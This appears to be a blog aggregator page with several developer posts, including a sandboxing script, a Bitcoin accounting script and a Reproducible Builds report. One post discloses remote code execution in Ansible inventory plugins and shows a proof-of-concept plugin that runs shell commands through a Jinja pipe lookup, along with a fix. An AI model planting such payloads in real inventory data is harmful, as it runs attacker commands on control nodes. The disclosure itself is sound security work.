Search Results: "ana"

11 March 2024

Joachim Breitner: Convenient sandboxed development environment

I like using one machine and setup for everything, from serious development work to hobby projects to managing my finances. This is very convenient, as often the lines between these are blurred. But it is also scary if I think of the large number of people who I have to trust to not want to extract all my personal data. Whenever I run a cabal install, or a fun VSCode extension gets updated, or anything like that, I am running code that could be malicious or buggy. In a way it is surprising and reassuring that, as far as I can tell, this commonly does not happen. Most open source developers out there seem to be nice and well-meaning, after all.

Convenient or it won t happen Nevertheless I thought I should do something about this. The safest option would probably to use dedicated virtual machines for the development work, with very little interaction with my main system. But knowing me, that did not seem likely to happen, as it sounded like a fair amount of hassle. So I aimed for a viable compromise between security and convenient, and one that does not get too much in the way of my current habits. For instance, it seems desirable to have the project files accessible from my unconstrained environment. This way, I could perform certain actions that need access to secret keys or tokens, but are (unlikely) to run code (e.g. `git push`, `git pull` from private repositories, `gh pr create`) from the outside , and the actual build environment can do without access to these secrets. The user experience I thus want is a quick way to enter a development environment where I can do most of the things I need to do while programming (network access, running command line and GUI programs), with access to the current project, but without access to my actual `/home` directory. I initially followed the blog post Application Isolation using NixOS Containers by Marcin Sucharski and got something working that mostly did what I wanted, but then a colleague pointed out that tools like `firejail` can achieve roughly the same with a less global setup. I tried to use `firejail`, but found it to be a bit too inflexible for my particular whims, so I ended up writing a small wrapper around the lower level sandboxing tool https://github.com/containers/bubblewrap.

Selective bubblewrapping This script, called `dev` and included below, builds a new filesystem namespace with minimal `/proc` and `/dev` directories, it s own `/tmp` directories. It then binds-mound some directories to make the host s NixOS system available inside the container (`/bin`, `/usr`, the nix store including domain socket, stuff for OpenGL applications). My user s home directory is taken from `~/.dev-home` and some configuration files are bind-mounted for convenient sharing. I intentionally don t share most of the configuration for example, a `direnv enable` in the dev environment should not affect the main environment. The X11 socket for graphical applications and the corresponding `.Xauthority` file is made available. And finally, if I run `dev` in a project directory, this project directory is bind mounted writable, and the current working directory is preserved. The effect is that I can type `dev` on the command line to enter dev mode rather conveniently. I can run development tools, including graphical ones like VSCode, and especially the latter with its extensions is part of the sandbox. To do a `git push` I either exit the development environment (Ctrl-D) or open a separate terminal. Overall, the inconvenience of switching back and forth seems worth the extra protection. Clearly, isn t going to hold against a determined and maybe targeted attacker (e.g. access to the X11 and the nix daemon socket can probably be used to escape easily). But I hope it will help against a compromised dev dependency that just deletes or exfiltrates data, like keys or passwords, from the usual places in `$HOME`.

Rough corners There is more polishing that could be done.

In particular, clicking on a link inside VSCode in the container will currently open Firefox inside the container, without access to my settings and cookies etc. Ideally, links would be opened in the Firefox running outside. This is a problem that has a solution in the world of applications that are sandboxed with Flatpak, and involves a bunch of moving parts (a xdg-desktop-portal user service, a filtering dbus proxy, exposing access to that proxy in the container). I experimented with that for a bit longer than I should have, but could not get it to work to satisfaction (even without a container involved, I could not get `xdg-desktop-portal` to heed my default browser settings ). For now I will live with manually copying and pasting URLs, we ll see how long this lasts.

With this setup (and unlike the NixOS container setup I tried first), the same applications are installed inside and outside. It might be useful to separate the set of installed programs: There is simply no point in running `evolution` or `firefox` inside the container, and if I do not even have VSCode or `cabal` available outside, so that it s less likely that I forget to enter `dev` before using these tools. It shouldn t be too hard to cargo-cult some of the NixOS Containers infrastructure to be able to have a separate system configuration that I can manage as part of my normal system configuration and make available to `bubblewrap` here.

So likely I will refine this some more over time. Or get tired of typing `dev` and going back to what I did before

The script

The dev script (at the time of writing)

#!/usr/bin/env bash

extra=()
if [[ "$PWD" == /home/jojo/build/* ]]   [[ "$PWD" == /home/jojo/projekte/programming/* ]]
then
extra+=(--bind "$PWD" "$PWD" --chdir "$PWD")
fi

if [ -n "$1" ]
then
    cmd=( "$@" )
else
    cmd=( bash )
fi

# Caveats:
# * access to all of  /etc 
# * access to  /nix/var/nix/daemon-socket/socket , and is trusted user (but needed to run nix)
# * access to X11

exec bwrap \
  --unshare-all \
\
 # blank slate  \
  --share-net \
  --proc /proc \
  --dev /dev \
  --tmpfs /tmp \
  --tmpfs /run/user/1000 \
\
 # Needed for GLX applications, in paticular alacritty  \
  --dev-bind /dev/dri /dev/dri \
  --ro-bind /sys/dev/char /sys/dev/char \
  --ro-bind /sys/devices/pci0000:00 /sys/devices/pci0000:00 \
  --ro-bind /run/opengl-driver /run/opengl-driver \
\
  --ro-bind /bin /bin \
  --ro-bind /usr /usr \
  --ro-bind /run/current-system /run/current-system \
  --ro-bind /nix /nix \
  --ro-bind /etc /etc \
  --ro-bind /run/systemd/resolve/stub-resolv.conf /run/systemd/resolve/stub-resolv.conf \
\
  --bind ~/.dev-home /home/jojo \
  --ro-bind ~/.config/alacritty ~/.config/alacritty  \
  --ro-bind ~/.config/nvim ~/.config/nvim  \
  --ro-bind ~/.local/share/nvim ~/.local/share/nvim  \
  --ro-bind ~/.bin ~/.bin \
\
  --bind /tmp/.X11-unix/X0 /tmp/.X11-unix/X0 \
  --bind ~/.Xauthority ~/.Xauthority \
  --setenv DISPLAY :0 \
\
  --setenv container dev \
  "$ extra[@] " \
  -- \
  "$ cmd[@] "

Evgeni Golov: Remote Code Execution in Ansible dynamic inventory plugins

I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now. TL;DR Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it. Inventory plugins Inventory plugins allow Ansible to pull inventory data from a variety of sources. The most common ones are probably the ones fetching instances from clouds like Amazon EC2 and Hetzner Cloud or the ones talking to tools like Foreman. For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any). But it can also set any arbitrary variable for that host, which is often used to provide additional information about it. These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object. And this is where things are getting interesting. Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host. And if that comment contains a Jinja expression, it might get executed. And if that Jinja expression is using the pipe lookup, it might get executed in your shell. Let that sink in for a moment, and then we'll look at an example. Example inventory plugin

from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('exploit.example.com')
        self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
        self.inventory.set_variable('exploit.example.com', 'something_funny', '  lookup("pipe", "touch /tmp/hacked" )  ')

The code is mostly copy & paste from the Developing dynamic inventory docs for Ansible and does three things:

defines the plugin name as evgeni.inventoryrce.inventory
accepts any config that ends with evgeni.yml (we'll need that to trigger the use of this inventory later)
adds an imaginary host exploit.example.com with local connection type and something_funny variable to the inventory

In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc. But the structure of the code would be very similar. The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host. Using the example inventory plugin Now we install the collection containing this inventory plugin, or rather write the code to ~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py (or wherever your Ansible loads its collections from). And we create a configuration file. As there is nothing to configure, it can be empty and only needs to have the right filename: touch inventory.evgeni.yml is all you need. If we now call ansible-inventory, we'll see our host and our variable present:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
 
    "_meta":  
        "hostvars":  
            "exploit.example.com":  
                "ansible_connection": "local",
                "something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "
             
         
     ,
    "all":  
        "children": [
            "ungrouped"
        ]
     ,
    "ungrouped":  
        "hosts": [
            "exploit.example.com"
        ]

(ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory is required to allow the use of our inventory plugin, as it's not in the default list.) So far, nothing dangerous has happened. The inventory got generated, the host is present, the funny variable is set, but it's still only a string. Executing a playbook, interpreting Jinja To execute the code we'd need to use the variable in a context where Jinja is used. This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM. Or a debug task where you dump all variables of a host to analyze what's set. Let's use that!

- hosts: all
  tasks:
    - name: Display all variables/facts known for a host
      ansible.builtin.debug:
        var: hostvars[inventory_hostname]

This playbook looks totally innocent: run against all hosts and dump their hostvars using debug. No mention of our funny variable. Yet, when we execute it, we see:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]
TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] =>  
    "hostvars[inventory_hostname]":  
        "ansible_all_ipv4_addresses": [
            "192.168.122.1"
        ],
         
        "something_funny": ""
     
 
PLAY RECAP *************************************************************************************************
exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

We got all variables dumped, that was expected, but now something_funny is an empty string? Jinja got executed, and the expression was lookup("pipe", "touch /tmp/hacked" ) and touch does not return anything. But it did create the file!

% ls -alh /tmp/hacked 
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked

We just "hacked" the Ansible control node (aka: your laptop), as that's where lookup is executed. It could also have used the url lookup to send the contents of your Ansible vault to some internet host. Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/ . Why is this possible? This happens because set_variable(entity, varname, value) doesn't mark the values as unsafe and Ansible processes everything with Jinja in it. In this very specific example, a possible fix would be to explicitly wrap the string in AnsibleUnsafeText by using wrap_var:

from ansible.utils.unsafe_proxy import wrap_var
 
self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var('  lookup("pipe", "touch /tmp/hacked" )  '))

Which then gets rendered as a string when dumping the variables using debug:

"something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "

But it seems inventories don't do this:

for k, v in host_vars.items():
    self.inventory.set_variable(name, k, v)

(aws_ec2.py)

for key, value in hostvars.items():
    self.inventory.set_variable(hostname, key, value)

(hcloud.py)

for k, v in hostvars.items():
    try:
        self.inventory.set_variable(host_name, k, v)
    except ValueError as e:
        self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))

(foreman.py) And honestly, I can totally understand that. When developing an inventory, you do not expect to handle insecure input data. You also expect the API to handle the data in a secure way by default. But set_variable doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe". Can something similar happen in other parts of Ansible? It certainly happened in the past that Jinja was abused in Ansible: CVE-2016-9587, CVE-2017-7466, CVE-2017-7481 But even if we only look at inventories, add_host(host) can be abused in a similar way:

from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('lol  lookup("pipe", "touch /tmp/hacked-host" )  ')

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************
TASK [Gathering Facts] ************************************************************************************
fatal: [lol  lookup("pipe", "touch /tmp/hacked-host" )  ]: UNREACHABLE! =>  "changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true 
PLAY RECAP ************************************************************************************************
lol  lookup("pipe", "touch /tmp/hacked-host" )   : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0
% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host

Affected versions I've tried this on Ansible (core) 2.13.13 and 2.16.4. I'd totally expect older versions to be affected too, but I have not verified that.

9 March 2024

Iustin Pop: Finally learning some Rust - hello photo-backlog-exporter!

After 4? 5? or so years of wanting to learn Rust, over the past 4 or so months I finally bit the bullet and found the motivation to write some Rust. And the subject. And I was, and still am, thoroughly surprised. It s like someone took Haskell, simplified it to some extents, and wrote a systems language out of it. Writing Rust after Haskell seems easy, and pleasant, and you:

don t have to care about unintended laziness which causes memory leaks (stuck memory, more like).
don t have to care about GC eating too much of your multi-threaded RTS.
can be happy that there s lots of activity and buzz around the language.
can be happy for generating very small, efficient binaries that feel right at home on Raspberry Pi, especially not the 5.
are very happy that error handling is done right (Option and Result, not like Go )

On the other hand:

there are no actual monads; the ? operator kind-of-looks-like being in do blocks, but only and only for Option and Result, sadly.
there s no Stackage, it s like having only Hackage available, and you can hope all packages work together well.
most packaging is designed to work only against upstream/online crates.io, so offline packaging is doable but not native (from what I ve seen).

However, overall, one can clearly see there s more movement in Rust, and the quality of some parts of the toolchain is better (looking at you, rust-analyzer, compared to HLS). So, with that, I ve just tagged photo-backlog-exporter v0.1.0. It s a port of a Python script that was run as a textfile collector, which meant updates every ~15 minutes, since it was a bit slow to start, which I then rewrote in Go (but I don t like Go the language, plus the GC - if I have to deal with a GC, I d rather write Haskell), then finally rewrote in Rust. What does this do? It exports metrics for Prometheus based on the count, age and distribution of files in a directory. These files being, for me, the pictures I still have to sort, cull and process, because I never have enough free time to clear out the backlog. The script is kind of designed to work together with Corydalis, but since it doesn t care about file content, it can also double (easily) as simple file count/age exporter . And to my surprise, writing in Rust is soo pleasant, that the feature list is greater than the original Python script, and - compared to that untested script - I ve rather easily achieved a very high coverage ratio. Rust has multiple types of tests, and the combination allows getting pretty down to details on testing:

region coverage: >80%
function coverage: >89% (so close here!)
line coverage: >95%

I had to combine a (large) number of testing crates to get it expressive enough, but it was worth the effort. The last find from yesterday, assert_cmd, is excellent to describe testing/assertion in Rust itself, rather than via a separate, new DSL, like I was using shelltest for, in Haskell. To some extent, I feel like I found the missing arrow in the quiver. Haskell is good, quite very good for some type of workloads, but of course not all, and Rust complements that very nicely, with lots of overlap (as expected). Python can fill in any quick-and-dirty scripting needed. And I just need to learn more frontend, specifically Typescript (the language, not referring to any specific libraries/frameworks), and I ll be ready for AI to take over coding So, for now, I ll need to split my free time coding between all of the above, and keep exercising my skills. But so glad to have found a good new language!

Reproducible Builds: Reproducible Builds in February 2024

Welcome to the February 2024 report from the Reproducible Builds project! In our reports, we try to outline what we have been up to over the past month as well as mentioning some of the important things happening in software supply-chain security.

Reproducible Builds at FOSDEM 2024 Core Reproducible Builds developer Holger Levsen presented at the main track at FOSDEM on Saturday 3rd February this year in Brussels, Belgium. However, that wasn t the only talk related to Reproducible Builds. However, please see our comprehensive FOSDEM 2024 news post for the full details and links.

Maintainer Perspectives on Open Source Software Security Bernhard M. Wiedemann spotted that a recent report entitled Maintainer Perspectives on Open Source Software Security written by Stephen Hendrick and Ashwin Ramaswami of the Linux Foundation sports an infographic which mentions that 56% of [polled] projects support reproducible builds .

Three new reproducibility-related academic papers A total of three separate scholarly papers related to Reproducible Builds have appeared this month: Signing in Four Public Software Package Registries: Quantity, Quality, and Influencing Factors by Taylor R. Schorlemmer, Kelechi G. Kalu, Luke Chigges, Kyung Myung Ko, Eman Abdul-Muhd, Abu Ishgair, Saurabh Bagchi, Santiago Torres-Arias and James C. Davis (Purdue University, Indiana, USA) is concerned with the problem that:
Package maintainers can guarantee package authorship through software signing [but] it is unclear how common this practice is, and whether the resulting signatures are created properly. Prior work has provided raw data on signing practices, but measured single platforms, did not consider time, and did not provide insight on factors that may influence signing. We lack a comprehensive, multi-platform understanding of signing adoption and relevant factors. This study addresses this gap. (arXiv, full PDF)

Reproducibility of Build Environments through Space and Time by Julien Malka, Stefano Zacchiroli and Th o Zimmermann (Institut Polytechnique de Paris, France) addresses:
[The] principle of reusability [ ] makes it harder to reproduce projects build environments, even though reproducibility of build environments is essential for collaboration, maintenance and component lifetime. In this work, we argue that functional package managers provide the tooling to make build environments reproducible in space and time, and we produce a preliminary evaluation to justify this claim.
The abstract continues with the claim that Using historical data, we show that we are able to reproduce build environments of about 7 million Nix packages, and to rebuild 99.94% of the 14 thousand packages from a 6-year-old Nixpkgs revision. (arXiv, full PDF)
Options Matter: Documenting and Fixing Non-Reproducible Builds in Highly-Configurable Systems by Georges Aaron Randrianaina, Djamel Eddine Khelladi, Olivier Zendra and Mathieu Acher (Inria centre at Rennes University, France):
This paper thus proposes an approach to automatically identify configuration options causing non-reproducibility of builds. It begins by building a set of builds in order to detect non-reproducible ones through binary comparison. We then develop automated techniques that combine statistical learning with symbolic reasoning to analyze over 20,000 configuration options. Our methods are designed to both detect options causing non-reproducibility, and remedy non-reproducible configurations, two tasks that are challenging and costly to perform manually. (HAL Portal, full PDF)

Mailing list highlights From our mailing list this month:

User cen posted a query asking How to verify a package by rebuilding it locally on Debian which received a followup from Vagrant Cascadian.

James Addison asked Two questions about build-path reproducibility in Debian regarding the differences in the testing performed by Debian s GitLab continuous integration (CI) pipeline and the Debian-specific testing performed by the Reproducible Builds project itself, and followed this with a separate but related question regarding misconfigured reprotest configurations.

Distribution work In Debian this month, 5 reviews of Debian packages were added, 22 were updated and 8 were removed this month adding to Debian s knowledge about identified issues. A number of issue types were updated as well. [ ][ ][ ][ ] In addition, Roland Clobus posted his 23rd update of the status of reproducible ISO images on our mailing list. In particular, Roland helpfully summarised that all major desktops build reproducibly with bullseye, bookworm, trixie and sid provided they are built for a second time within the same DAK run (i.e. [within] 6 hours) and that there will likely be further work at a MiniDebCamp in Hamburg. Furthermore, Roland also responded in-depth to a query about a previous report
Fedora developer Zbigniew J drzejewski-Szmek announced a work-in-progress script called `fedora-repro-build` that attempts to reproduce an existing package within a koji build environment. Although the projects `README` file lists a number of fields will always or almost always vary and there is a non-zero list of other known issues, this is an excellent first step towards full Fedora reproducibility.
Jelle van der Waa introduced a new linter rule for Arch Linux packages in order to detect cache files leftover by the Sphinx documentation generator which are unreproducible by nature and should not be packaged. At the time of writing, 7 packages in the Arch repository are affected by this.
Elsewhere, Bernhard M. Wiedemann posted another monthly update for his work elsewhere in openSUSE.

diffoscope diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes such as uploading versions `256`, `257` and `258` to Debian and made the following additional changes:

Use a deterministic name instead of trusting `gpg` s use-embedded-filenames. Many thanks to Daniel Kahn Gillmor dkg@debian.org for reporting this issue and providing feedback. [ ][ ]

Don t error-out with a traceback if we encounter `struct.unpack`-related errors when parsing Python `.pyc` files. (#1064973). [ ]

Don t try and compare `rdb_expected_diff` on non-GNU systems as `%p` formatting can vary, especially with respect to MacOS. [ ]

Fix compatibility with `pytest` 8.0. [ ]

Temporarily fix support for Python 3.11.8. [ ]

Use the `7zip` package (over `p7zip-full`) after a Debian package transition. (#1063559). [ ]

Bump the minimum Black source code reformatter requirement to 24.1.1+. [ ]

Expand an older changelog entry with a CVE reference. [ ]

Make `test_zip` black clean. [ ]

In addition, James Addison contributed a patch to parse the headers from the `diff(1)` correctly [ ][ ] thanks! And lastly, Vagrant Cascadian pushed updates in GNU Guix for diffoscope to version 255, 256, and 258, and updated trydiffoscope to 67.0.6.

reprotest reprotest is our tool for building the same source code twice in different environments and then checking the binaries produced by each build for any differences. This month, Vagrant Cascadian made a number of changes, including:

Create a (working) proof of concept for enabling a specific number of CPUs. [ ][ ]

Consistently use 398 days for time variation rather than choosing randomly and update `README.rst` to match. [ ][ ]

Support a new `--vary=build_path.path` option. [ ][ ][ ][ ]

Website updates There were made a number of improvements to our website this month, including:

Chris Lamb:

Improve the relative sizing of headers. [ ]

Re-order and punch up the introduction and documentation on the `SOURCE_DATE_EPOCH` page. [ ]

Update `SOURCE_DATE_EPOCH` documentation re. `datetime.datetime.fromtimestamp`. Thanks, James Addison. [ ]

Add a post about Reproducible Builds at FOSDEM 2024. [ ]

Holger Levsen:

Update the GNU Guix page to include their reproducibility QA page. [ ]

Add Sune Vuorela and Jan-Benedict Glaw to our contributors list. [ ][ ]

Mattia Rizzolo:

Add Sovereign Tech Fund s logo to our sponsors. [ ]

Update our sponsors list. [ ]

Reproducibility testing framework The Reproducible Builds project operates a comprehensive testing framework (available at tests.reproducible-builds.org) in order to check packages and other artifacts for reproducibility. In February, a number of changes were made by Holger Levsen:

Debian-related changes:

Temporarily disable upgrading/bootstrapping Debian unstable and experimental as they are currently broken. [ ][ ]

Use the 64-bit `amd64` kernel on all `i386` nodes; no more 686 PAE kernels. [ ]

Add an Erlang package set. [ ]

Other changes:

Grant Jan-Benedict Glaw shell access to the Jenkins node. [ ]

Enable debugging for NetBSD reproducibility testing. [ ]

Use `/usr/bin/du --apparent-size` in the Jenkins shell monitor. [ ]

Revert reproducible nodes: mark osuosl2 as down . [ ]

Thanks again to Codethink, for they have doubled the RAM on our `arm64` nodes. [ ]

Only set `/proc/$pid/oom_score_adj` to -1000 if it has not already been done. [ ]

Add the `opemwrt-target-tegra` and `jtx` task to the list of zombie jobs. [ ][ ]

Vagrant Cascadian also made the following changes:

Overhaul the handling of OpenSSH configuration files after updating from Debian bookworm. [ ][ ][ ]

Add two new `armhf` architecture build nodes, `virt32z` and `virt64z`, and insert them into the Munin monitoring. [ ][ ] [ ][ ]

In addition, Alexander Couzens updated the OpenWrt configuration in order to replace the `tegra` target with `mpc85xx` [ ], Jan-Benedict Glaw updated the NetBSD build script to use a separate `$TMPDIR` to mitigate out of space issues on a tmpfs-backed `/tmp` [ ] and Zheng Junjie added a link to the GNU Guix tests [ ]. Lastly, node maintenance was performed by Holger Levsen [ ][ ][ ][ ][ ][ ] and Vagrant Cascadian [ ][ ][ ][ ].

Upstream patches The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where appropriate. This month, we wrote a large number of such patches, including:

Philip Rinn:

`gimagereader` (date)

Bernhard M. Wiedemann:

`grass` (date-related issue)

`grub2` (filesystem ordering issue)

`latex2html` (drop a non-deterministic log)

`mhvtl` (tar)

`obs` (build-tool issue)

`ollama` (GZip embedding the modification time)

`presenterm` (filesystem-ordering issue)

`qt6-quick3d` (parallelism)

Chris Lamb:

#1064506 filed against `geophar`.

#1064891 filed against `pytest-repeat`.

#1064892 filed against `klepto`.

James Addison:

#1064519 filed against `flask-limiter`.

`python-parsl-doc` (disable dynamic argument evaluation by Sphinx `autodoc` extension)

`python3-pytest-repeat` (remove `entry_points.txt` creation that varied by shell)

`python3-selinux` (remove packaged `direct_url.json` file that embeds build path)

`python3-sepolicy` (remove packaged `direct_url.json` file that embeds build path)

#1064575 filed against `pyswarms`.

#1064638 filed against `python-x2go`.

`snapd` (fix timestamp header in packaged manual-page)

`zzzeeksphinx` (existing RB patch forwarded and merged (with modifications))

Johannes Schauer Marin Rodrigues:

#1063939 filed against `fop`.

If you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

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7 March 2024

Petter Reinholdtsen: Plain text accounting file from your bitcoin transactions

A while back I wrote a small script to extract the Bitcoin transactions in a wallet in the ledger plain text accounting format. The last few days I spent some time to get it working better with more special cases. In case it can be useful for others, here is a copy:

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
#  Copyright (c) 2023-2024 Petter Reinholdtsen
from decimal import Decimal
import json
import subprocess
import time
import numpy
def format_float(num):
    return numpy.format_float_positional(num, trim='-')
accounts =  
    u'amount' : 'Assets:BTC:main',
 
addresses =  
    '' : 'Assets:bankkonto',
    '' : 'Assets:bankkonto',
 
def exec_json(cmd):
    proc = subprocess.Popen(cmd,stdout=subprocess.PIPE)
    j = json.loads(proc.communicate()[0], parse_float=Decimal)
    return j
def list_txs():
    # get all transactions for all accounts / addresses
    c = 0
    txs = []
    txidfee =  
    limit=100000
    cmd = ['bitcoin-cli', 'listtransactions', '*', str(limit)]
    if True:
        txs.extend(exec_json(cmd))
    else:
        # Useful for debugging
        with open('transactions.json') as f:
            txs.extend(json.load(f, parse_float=Decimal))
    #print txs
    for tx in sorted(txs, key=lambda a: a['time']):
#        print tx['category']
        if 'abandoned' in tx and tx['abandoned']:
            continue
        if 'confirmations' in tx and 0 >= tx['confirmations']:
            continue
        when = time.strftime('%Y-%m-%d %H:%M', time.localtime(tx['time']))
        if 'message' in tx:
            desc = tx['message']
        elif 'comment' in tx:
            desc = tx['comment']
        elif 'label' in tx:
            desc = tx['label']
        else:
            desc = 'n/a'
        print("%s %s" % (when, desc))
        if 'address' in tx:
            print("  ; to bitcoin address %s" % tx['address'])
        else:
            print("  ; missing address in transaction, txid=%s" % tx['txid'])
        print(f"  ; amount= tx['amount'] ")
        if 'fee'in tx:
            print(f"  ; fee= tx['fee'] ")
        for f in accounts.keys():
            if f in tx and Decimal(0) != tx[f]:
                amount = tx[f]
                print("  %-20s   %s BTC" % (accounts[f], format_float(amount)))
        if 'fee' in tx and Decimal(0) != tx['fee']:
            # Make sure to list fee used in several transactions only once.
            if 'fee' in tx and tx['txid'] in txidfee \
               and tx['fee'] == txidfee[tx['txid']]:
                True
            else:
                fee = tx['fee']
                print("  %-20s   %s BTC" % (accounts['amount'], format_float(fee)))
                print("  %-20s   %s BTC" % ('Expences:BTC-fee', format_float(-fee)))
                txidfee[tx['txid']] = tx['fee']
        if 'address' in tx and tx['address'] in addresses:
            print("  %s" % addresses[tx['address']])
        else:
            if 'generate' == tx['category']:
                print("  Income:BTC-mining")
            else:
                if amount < Decimal(0):
                    print(f"  Assets:unknown:sent:update-script-addr- tx['address'] ")
                else:
                    print(f"  Assets:unknown:received:update-script-addr- tx['address'] ")
        print()
        c = c + 1
    print("# Found %d transactions" % c)
    if limit == c:
        print(f"# Warning: Limit  limit  reached, consider increasing limit.")
def main():
    list_txs()
main()

It is more of a proof of concept, and I do not expect it to handle all edge cases, but it worked for me, and perhaps you can find it useful too. To get a more interesting result, it is useful to map accounts sent to or received from to accounting accounts, using the addresses hash. As these will be very context dependent, I leave out my list to allow each user to fill out their own list of accounts. Out of the box, 'ledger reg BTC:main' should be able to show the amount of BTCs present in the wallet at any given time in the past. For other and more valuable analysis, a account plan need to be set up in the addresses hash. Here is an example transaction:

2024-03-07 17:00 Donated to good cause
    Assets:BTC:main                           -0.1 BTC
    Assets:BTC:main                       -0.00001 BTC
    Expences:BTC-fee                       0.00001 BTC
    Expences:donations                         0.1 BTC

It need a running Bitcoin Core daemon running, as it connect to it using bitcoin-cli listtransactions * 100000 to extract the transactions listed in the Wallet. As usual, if you use Bitcoin and want to show your support of my activities, please send Bitcoin donations to my address 15oWEoG9dUPovwmUL9KWAnYRtNJEkP1u1b.

Valhalla's Things: Jeans, step two. And three. And four.

A woman wearing a regular pair of slim-cut black denim jeans.

I was working on what looked like a good pattern for a pair of jeans-shaped trousers, and I knew I wasn t happy with 200-ish g/m cotton-linen for general use outside of deep summer, but I didn t have a source for proper denim either (I had been low-key looking for it for a long time). Then one day I looked at an article I had saved about fabric shops that sell technical fabric and while window-shopping on one I found that they had a decent selection of denim in a decent weight. I decided it was a sign, and decided to buy the two heaviest denim they had: a 100% cotton, 355 g/m one and a 97% cotton, 3% elastane at 385 g/m ¹; the latter was a bit of compromise as I shouldn t really be buying fabric adulterated with the Scourge of Humanity, but it was heavier than the plain one, and I may be having a thing for tightly fitting jeans, so this may be one of the very few woven fabric where I m not morally opposed to its existence. And, I d like to add, I resisted buying any of the very nice wools they also seem to carry, other than just a couple of samples. Since the shop only sold in 1 meter increments, and I needed about 1.5 meters for each pair of jeans, I decided to buy 3 meters per type, and have enough to make a total of four pair of jeans. A bit more than I strictly needed, maybe, but I was completely out of wearable day-to-day trousers. a cardboard box with neatly folded black denim, covered in semi-transparent plastic.

a cardboard box with neatly folded black denim, covered in semi-transparent plastic.

The shop sent everything very quickly, the courier took their time (oh, well) but eventually delivered my fabric on a sunny enough day that I could wash it and start as soon as possible on the first pair. The pattern I did in linen was a bit too fitting, but I was afraid I had widened it a bit too much, so I did the first pair in the 100% cotton denim. Sewing them took me about a week of early mornings and late afternoons, excluding the weekend, and my worries proved false: they were mostly just fine. The only bit that could have been a bit better is the waistband, which is a tiny bit too wide on the back: it s designed to be so for comfort, but the next time I should pull the elastic a bit more, so that it stays closer to the body. The same from the back, showing the applied pockets with a sewn logo.

I wore those jeans daily for the rest of the week, and confirmed that they were indeed comfortable and the pattern was ok, so on the next Monday I started to cut the elastic denim. I decided to cut and sew two pairs, assembly-line style, using the shaped waistband for one of them and the straight one for the other one. I started working on them on a Monday, and on that week I had a couple of days when I just couldn t, plus I completely skipped sewing on the weekend, but on Tuesday the next week one pair was ready and could be worn, and the other one only needed small finishes. A woman wearing another pair of jeans; the waistband here is shaped to fit rather than having elastic.

A woman wearing another pair of jeans; the waistband here is shaped to fit rather than having elastic.

And I have to say, I m really, really happy with the ones with a shaped waistband in elastic denim, as they fit even better than the ones with a straight waistband gathered with elastic. Cutting it requires more fabric, but I think it s definitely worth it. But it will be a problem for a later time: right now three pairs of jeans are a good number to keep in rotation, and I hope I won t have to sew jeans for myself for quite some time. A plastic bag with mid-sized offcuts of denim; there is a 30 cm ruler on top that is just wider than the bag

A plastic bag with mid-sized offcuts of denim; there is a 30 cm ruler on top that is just wider than the bag

I think that the leftovers of plain denim will be used for a skirt or something else, and as for the leftovers of elastic denim, well, there aren t a lot left, but what else I did with them is the topic for another post. Thanks to the fact that they are all slightly different, I ve started to keep track of the times when I wash each pair, and hopefully I will be able to see whether the elastic denim is significantly less durable than the regular, or the added weight compensates for it somewhat. I m not sure I ll manage to remember about saving the data until they get worn, but if I do it will be interesting to know. Oh, and I say I ve finished working on jeans and everything, but I still haven t sewn the belt loops to the third pair. And I m currently wearing them. It s a sewist tradition, or something. :D

The links are to the shop for Italy; you can copy the Codice prodotto and look for it on one of the shop version for other countries (where they apply the right vat etc., but sadly they don t allow to mix and match those settings and the language).

